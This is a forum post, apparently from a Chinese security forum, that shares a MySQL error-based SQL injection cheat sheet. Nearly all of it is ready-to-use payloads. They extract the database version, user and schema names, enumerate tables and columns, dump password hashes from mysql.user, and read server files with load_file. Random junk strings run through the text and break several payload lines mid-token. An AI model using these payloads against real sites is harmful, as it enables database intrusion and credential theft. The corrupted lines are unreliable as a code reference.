找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1981|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 # |. W0 ^  }% L/ K

1 o) P) Q4 V1 f- b$ g: o! w" M
: @) z! G! t& \Mysql暴错注入参考(pdf),每天一贴。。。7 C% h% c% P# |% F3 E& |
* }, i' I5 Y& B# |4 ~
MySql Error Based Injection Reference$ L( s4 _. A6 V4 c
[Mysql暴错注入参考]
2 X2 {3 ^! }! i' |1 ~5 e2 Y* yAuthornig0s1992& _. e7 V, _$ M# V# g9 ^* X+ E/ R
Blog:http://pnig0s1992.blog.51cto.com/
8 k2 g8 Q% ?6 d5 hTeAm:http://www.FreeBuf.com/. G+ b& `1 h! L5 k2 s
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功$ j) [/ [8 Y; P5 y
小部分版本使用name_const()时会报错.可以用给出的Method.2测试7 Y' c- m, ~; \
查询版本:
$ n* F" ?& h/ Y+ [Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+, p# O- @9 P" ?
join+(select+name_const(@@version,0))b)c)
6 y: Y4 p" T8 CMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
! ~7 o1 ^; m) W2 G$ ~: Lup by a)b): ^1 ]. ?# @6 e! F
查询当前用户:
# \0 o; p2 L" C( Y8 g; Z! wMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
. O1 j: b0 @% }- j$ OMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
% M; b3 G5 T7 S. }# Iand(0)*2))x+from+information_schema.tables+group+by+x)a)
- E! x( b, I. c查询当前数据库:
1 u& x+ D) _( c8 Z5 S0 ^3 DMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
/ U8 O8 M) W, }: uMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
# A4 v/ v- i% ror(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
6 K2 a( G9 J* j1 `8 M. x' Q依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
& _- p- A, \, [) I. q; Q2 ELIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n% p0 a# O" k9 N
顺序替换5 q& p. X3 }9 B  a1 a: V0 q) g
爆指定库数目:
& C# x+ M/ g" ?and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
3 m) p; N8 U+ z' L3 Pable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group( `9 E. {9 ]/ [8 N; z
+by+x)a)+and+1=1 0x6D7973716C=mysql& S0 d- y5 F' M0 V
依次爆表:+ z: y  H' D3 l3 x
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t$ f5 B+ ?3 _& T2 g/ ?4 P$ o4 a( y  {
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
8 @; C. z5 x4 V5 x5 I( ]bles+group+by+x)a)+and+1=1
/ Z) J& L# D" K! X3 C0x6D7973716C=Mysql 将n顺序替换
5 X( N2 c( c+ E爆表内字段数目:
/ a: w2 m7 r5 z- Rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
. f1 Y- B+ @  }5 h3 X+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
  D7 a. n& R3 F% \" m* ^. j0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=15 q& Z! N+ d" E0 X
依次爆字段:- ^6 n$ O7 ]! l  p6 g6 G0 h
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where( A, C( g5 V& z+ s4 R, z3 D
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1% D' O9 w5 m- C6 G0 e
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换  u' D8 v: O  d
依次暴内容:; L1 l+ h0 _$ w  J2 _8 l- ~
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche, E4 O( r% ?8 }
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
/ ~' d/ s2 E* [2 V& ~将n顺序替换5 K' x4 B- S/ `  V$ g
爆文件内容:
) m, m( [7 g* Cand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a( N. ?; R) _& g  G; V" i  L
from+information_schema.tables+group+by+a)b)
/ a4 |- a, x+ z$ c; D1 p0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
) _- P- }. @$ H: h$ H$ j( ]. K: a1 IThx for reading.  ?& q* D7 o) n% i" U5 b+ v

. g4 V: T0 T( Z5 V* B  j不要下载也可以, 4 T4 Z2 M- ?0 Q0 U4 P: ~0 `! M8 z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表